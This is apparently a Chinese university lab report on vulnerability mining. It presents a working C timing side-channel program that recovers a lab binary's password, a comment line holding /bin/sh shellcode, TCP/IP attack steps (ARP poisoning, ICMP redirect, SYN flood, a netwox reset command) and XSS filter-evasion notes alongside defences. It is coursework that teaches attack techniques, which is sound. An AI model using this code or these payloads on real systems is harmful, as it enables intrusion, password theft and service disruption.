漏洞挖掘前言

题目

Lab

侧信道攻击 + TCP/IP实验

Pre

1、用IE访问某些网站的时候,输入javascript:alert(document.cookie)会有什么反应,解释原因。

2、阅读下面两篇文章或者阅读一本书<<JavaScript DOM编程艺术>>:
Javascript Tutorial 
https://www.evl.uic.edu/luc/bvis546/Essential_Javascript_--_A_Javascript_Tutorial.pdf
XMLHttpRequest 
http://www.w3school.com.cn/ajax/
http://www.hunlock.com/blogs/AJAX_for_n00bs

3、了解FireFox的两个插件LiveHttpHeaders和Firebug的基本使用方法。

4、阅读下面这篇文章:
跨站脚本攻击实例解析
http://bbs.pediy.com/showthread.php?t=124209

5、阅读下面这两篇文章:
DOM Based Cross Site Scripting or XSS of the Third Kind
http://www.webappsec.org/projects/articles/071105.html

XSS (Cross Site Scripting) Cheat Sheet Esp: for filter evasion
http://80x86.io/post/xsscrosssitescriptingcheatsheetespforfilterevasion

6、XSS漏洞的触发条件有哪些?应该如何防范?

解答

Lab

侧信道攻击 + TCP/IP实验

一、侧信道攻击

这次测信道攻击的漏洞的主要原因是:1、密码是逐个字符判断的。2、输入正确字符和错误字符造成的判断时间相差较大,由于此两点原因,我们可以根据漏洞程序的执行时间逐步判断密码的每一位字符是否正确,从而最终猜解出密码。

我构写的攻击程序attack.c如下:

//sidechannel S1deCh4nnelAttack3r $(python -c "print '\x90'*1000 + '\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'")
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/time.h>
int main()
{char temp[] = { '0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z' };char now[19] = "";long int time[63];int num[63];int i, j, k;pid_t pid;for (i = 0; i <= 18; i++){memset(num, 0, sizeof(num));for (k = 0; k < 20; k++){for (j = 0; j < 63; j++){now[i] = temp[j];struct timeval start, end;gettimeofday(&start, NULL);if ((pid = fork()) == 0) {execl("./sidechannel", "sidechannel", now, "0", (char *)0);}else {waitpid(pid, NULL, 0);}gettimeofday(&end, NULL);time[j] = (end.tv_sec - start.tv_sec) * 1000000 + (end.tv_usec - start.tv_usec);}int flag;if (i < 18){long int value = 2147483647;for (j = 0; j < 63; j++){//printf("%ld ", time[j]);if (value > time[j]){value = time[j];flag = j;}}}else{long int value = -1;for (j = 0; j < 63; j++){//printf("%ld ", time[j]);if (value < time[j]){value = time[j];flag = j;}}}num[flag]++;}long int value = -1, Flag;for (j = 0; j < 63; j++){//printf("%d ", num[j]);if (value < num[j]){value = num[j];Flag = j;}}now[i] = temp[Flag];printf("%s\n", now);}return 0;
}

此代码的基本思想就是:对于每个密码字符,循环20遍、每遍都把63个可能字符尝试一次。对于前18个密码字符,每次循环都会记录这次用时最短的字符,最后选取获得“用时最短字符”次数最多的那个字符;对于第19个字符,每次循环都会记录这次用时最长的字符,最后选取获得“用时最长字符”次数最多的那个字符。

这个代码经过我的测试,发现成功率还是非常高的,而且用时也控制的比较合理,30s以内即能得出结果。

运行演示:

攻击成功

二、TCP/IP实验

Task (1) : ARP cache poisoning

三台机器的IP地址为:192.168.43.204、192.168.43.181、192.168.43.23

在每台机器上运行ifconfig命令,得到网络配置信息如下:

在每台机器上运行arp –na命令

该命令的含义是告诉23主机,IP地址为192.168.198.181的MAC地址为00:0c:29:e6:b8:4a(实际上是204的地址)。

在23主机上运行ping 192.168.198.181命令,并抓取该包,得到下面的信息:

虽然网络层IP是请求181主机,但是MAC地址却是204主机的,该包将会被204主机接收和处理,而181主机不会接收和处理该包。

Task (2) : ICMP Redirect Attack

在正常情况下,我们traceroute百度的结果如下(首先要安装traceroute):

为了把181主机访问BBS的包重定向到204主机,204主机需要以路由器(192.168.43.75)的名义发送一个包,通知网关已经更新为204主机。攻击命令如下:

再次在181主机运行前面的命令:

可以看出访问失败

Task (3) : SYN Flooding Attack

在正常情况下,181主机上的telnet连接状态如下

我们用下面的命令对该服务进行SYN洪泛

再次查看telnet的连接状态,可以发现有大量半连接:

将net.ipv4.tcp_syncookies置为0后再次进行攻击,131主机不再进行重置工作,其他的登陆就登陆不上去,而不是之前那样登陆很慢而已。

Task (4) : TCP RST Attacks on telnet and ssh Connections

23主机登陆181主机

查看连接端口为23

204主机攻击

连接被中断:

Task (6) : ICMP Blind Connection-Reset and Source-Quench Attacks

23主机登陆181主机,204主机使用命令sudo netwox 82 -- device "Eth0" -- filter "host 192.168.1.104 and tcp port 23" -- code 2

可以看出,MAC源地址为全0,这个包是由204主机伪造的。

Pre

1、用IE访问某些网站的时候,输入javascript:alert(document.cookie)会有什么反应,解释原因。

这是查看当前网页登录的cookie信息的命令。

直接复制这段话会被浏览器自动识别,过滤掉“javascript”,所以可以先输入“1javascript:alert(document.cookie)”,复制到地址栏后再删掉开头的“1”。

最终查看cookie信息如下:

2、阅读下面两篇文章或者阅读一本书<<JavaScript DOM编程艺术>>:

Javascript Tutorial

https://www.evl.uic.edu/luc/bvis546/Essential_Javascript_--_A_Javascript_Tutorial.pdf

XMLHttpRequest

http://www.w3school.com.cn/ajax/

http://www.hunlock.com/blogs/AJAX_for_n00bs

文章1是一个Javascript的入门教程,从最基础的helloworld教起,把代码copy进txt文档,改后缀名为html,双击即可运行我们的代码。

教程包括各种形式的输入、输出,还有判断、循环等等基本语法知识,也是比较好理解的。

后面的两个网址都拒绝访问了。。。看不到内容。

3、了解FireFox的两个插件LiveHttpHeaders和Firebug的基本使用方法。

LiveHttpHeaders是一款可以用来实时监测发起的http请求和响应,也可以修改请求参数之后重新发起请求的插件,其实就是抓包。在网上看了大致的抓包流程。但是这插件貌似新版的FireFox已经不兼容了,安装会提示失败。

Firebug是firefox下的一个扩展,能够调试所有网站语言,如Html,Css等,但FireBug最吸引人的就是javascript调试功能,使用起来非常方便,而且在各种浏览器下都能使用。但是Firebug貌似也已经停止开发和更新维护,升级成为浏览器内置的DevTools。

4、阅读下面这篇文章:跨站脚本攻击实例解析

http://bbs.pediy.com/showthread.php?t=124209

XSS:跨站脚本,是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。

这篇文章介绍的是博客大巴存储型XSS漏洞,主要是“附加信息”的内容过滤不严,导致漏洞。文章演示了很多攻击方式利用此漏洞,包括:窃取Cookie、渗透路由器、读取本地文件等。

5、阅读下面这两篇文章:

DOM Based Cross Site Scripting or XSS of the Third Kind

http://www.webappsec.org/projects/articles/071105.html

文章提出了“第三类”XSS攻击,其最大特点是这种类型的攻击不依赖于起初发送到服务端的恶意数据。这与我们上一题中的几种攻击方法显然是矛盾的,但这也是这种方法发特别之处。

文章对于如何不通过服务器实现攻击给出了一个明显的例子:受害者的浏览器接收到这个链接,发送HTTP请求到www.vulnerable.site并且接受到上面的HTML页。受害者的浏览器开始解析这个HTML为DOM,DOM包含一个对象叫document,document里面有个URL属性,这个属性里填充着当前页面的URL。当解析器到达javascript代码,它会执行它并且修改你的HTML页面。倘若代码中引用了document.URL,那么,这部分字符串将会在解析时嵌入到HTML中,然后立即解析,同时,javascript代码会找到(alert(…))并且在同一个页面执行它,这就产生了xss的条件。

这种不依赖于服务端嵌入数据的xss攻击,具有很重要的现实意义,它可以绕过很多现有的检测和防护技术。

XSS (Cross Site Scripting) Cheat Sheet Esp: for filter evasion

http://80x86.io/post/xsscrosssitescriptingcheatsheetespforfilterevasion

文章描述了一种恰当地使用输出转码或者转义防御XSS攻击的简单积极模式。文章给出了7条XSS防御规则:1、不插入不可信数据、在插入不可信数据到HTML元素内容前,执行HTML转义。2、在插入不可信数据到HTML元素通用属性前,执行属性转义。3、在插入不可信数据到JS数据值前,执行JS转义。4、在插入不可信数据到HTML style属性值之前,执行CSS转义并严格校验。5、在插入不可信数据到URL参数值之前,执行URL转义。6、使用专门的库清理掉HTML标签。7、防御DOM Based XSS攻击。

6、XSS漏洞的触发条件有哪些?应该如何防范?

触发条件:

1、插入javascript和vbscript正常字符。

2、转换字符类型

3、插入混淆字符

4、利用CSS代码@import、expression触发XSS漏洞

5、在CSS代码中加入javascript和vbscript脚本

6、转换字符类型,以十六进制字符替换其中或全部的字符

7、插入混淆字符,在css中,/**/是注释字符,除了/**/外,字符”\”和结束符”\0″也是被忽略的,可以用来混淆字符。

防范方法:

XSS防御的总体思路是:对输入(和URL参数)进行过滤,对输出进行编码。

1、编码,就是转义用户的输入,把用户的输入解读为数据而不是代码

2、校验,对用户的输入及请求都进行过滤检查,如对特殊字符进行过滤,设置输入域的匹配规则等。

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验相关推荐

  1. 头歌-信息安全技术-Spectre侧信道攻击过程验证

    头歌-信息安全技术-Spectre侧信道攻击过程验证 一.第1关:Cache vs Memory 1.编程要求 2.评测代码 二.第2关:基于Flush+Reload的侧信道实现 1.编程要求 2.评 ...

  2. [密码学基础][每个信息安全博士生应该知道的52件事][Bristol Cryptography][第39篇]侧信道攻击和故障攻击有什么区别

    这是一系列博客文章中最新的一篇,该文章列举了"每个博士生在做密码学时应该知道的52件事":一系列问题的汇编是为了让博士生们在第一年结束时知道些什么. 侧信道攻击(Side-chan ...

  3. Intel CPU 易受新型的 SGAxe 和 CrossTalk 侧信道攻击

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 网络安全研究员发现了两种针对当代 Intel 处理器的攻击,可泄露CPU 可新执行环境 (TEE) 中的敏感信息. 第一种攻击名为 & ...

  4. 【安全硬件】Chap.6 IC和半导体产业的全球化;芯片生产猜疑链与SoC设计流程;可能会存在的安全威胁: 硬件木马、IP盗版、逆向工程、侧信道攻击、伪造

    [安全硬件]Chap.6 IC和半导体产业的全球化:芯片生产猜疑链与SoC设计流程:可能会存在的安全威胁: 硬件木马.IP盗版.逆向工程.侧信道攻击.伪造 背景 1. IC和半导体产业的全球化 2. ...

  5. CATalyst——针对末级缓存侧信道攻击的防御技术

    CATalyst: Defeating Last-Level Cache Side Channel Attacks inCloud Computing, HPCA'16 (A类), 2016年3月[1 ...

  6. 简单来看看什么是侧信道攻击

    前言 之前在看逻辑层面的安全,其中有个旁路攻击,书里面说这玩意就是防范侧信道攻击. 旁路攻击又被称为旁路信道攻击或侧信道攻击.这种硬件层面的攻击通常以从电子设备获取机密信息为目标.对于密码算法,加密是 ...

  7. [密码学基础][每个信息安全博士生应该知道的52件事][Bristol52]43 为AES 对抗侧信道攻击的防御

    这是一系列博客文章中最新的一篇,该文章列举了"每个博士生在做密码学时应该知道的52件事":一系列问题的汇编是为了让博士生们在第一年结束时知道些什么. 为AES描述一些基础的(可能无 ...

  8. 基于Montgomery算法的高速、可配置 RSA密码IP核硬件设计系列(五)——模幂模块(抵抗侧信道攻击)模块的设计实现方案

    基于Montgomery算法的高速.可配置RSA密码IP核硬件设计系列(五) 2.2 模幂模块设计(抵抗测信道攻击模块) 2.2.1 模幂模块及内部模块的功能 2.2.3 模幂各模块的实现方案 2.2 ...

  9. 基于RF算法的侧信道攻击方法研究

    摘要 目前,随机森林(RF)算法在侧信道分析领域的潜力还没有得到充分利用.文章提出一种基于RF算法的侧信道攻击方法,分别从输入数据处理和参数控制两方面进行模型优化,在特征点选择和RF算法参数调优两方面 ...

最新文章

  1. python实现二叉树的重建1 之由前序遍历和中序遍历重建
  2. Hadoop五个进程的作用和联系
  3. 库存管理-历史库存和收发存系列-MB5B
  4. 运用java集合Collections对List进行max和min操作
  5. MATLAB不定积分的运算,matlab中怎么把积分函数 int 得到的不定积分式代入 solve 函数中进行计算?...
  6. 收获,不止SQL优化——抓住SQL的本质--第三章
  7. 了解编译原理-笔记小结
  8. lDEA报错Error: A JNI error has occurred, please check your installation and try again
  9. JVM运行机制理解整理
  10. ICCV'21 Oral|拒绝调参,显著提点!检测分割任务的新损失函数RS Loss开源
  11. 零基础爱好者如何入门音乐制作/自学音乐制作导航
  12. 苹果系统与win10连接到服务器,苹果手机怎么连接win10电脑详细步骤
  13. 【JWPlayer】官方JWPlayer去水印步骤
  14. Only老K说-Java设计模式之原型模式(Prototype)
  15. 计算机中应用管理在哪里,应用程序管理器在哪里
  16. 杨百翰大学计算机科学专业,杨百翰大学计算机科学硕士.pdf
  17. 如何破解游戏包中的素材与3D模型
  18. linux用户的邮件存在哪里,在Linux系统中收发及查看邮件
  19. mac安装matlab提示libmwlmgrimpl.dylib文件已损坏
  20. ajax的同步与异步

热门文章

  1. GlyphControl: Glyph Conditional Control for Visual Text Generation
  2. YModem协议简介
  3. 《数据库应用系统实践》------ 公园游客日流量管理系统
  4. 华为防火墙查看日志命令_(完整word版)华为USG防火墙运维命令大全,推荐文档
  5. 华清远见上海中心22071班--8.30作业
  6. 全国计算机应用水平考试照片,2017下半年计算机等级报名对上传照片有何要求...
  7. 二代身份证读取操作类
  8. (二)爬泰山,如人生 ---- 下山
  9. 医院预约挂号系统业务建模+系统用例图
  10. 【Baidu Apollo】控制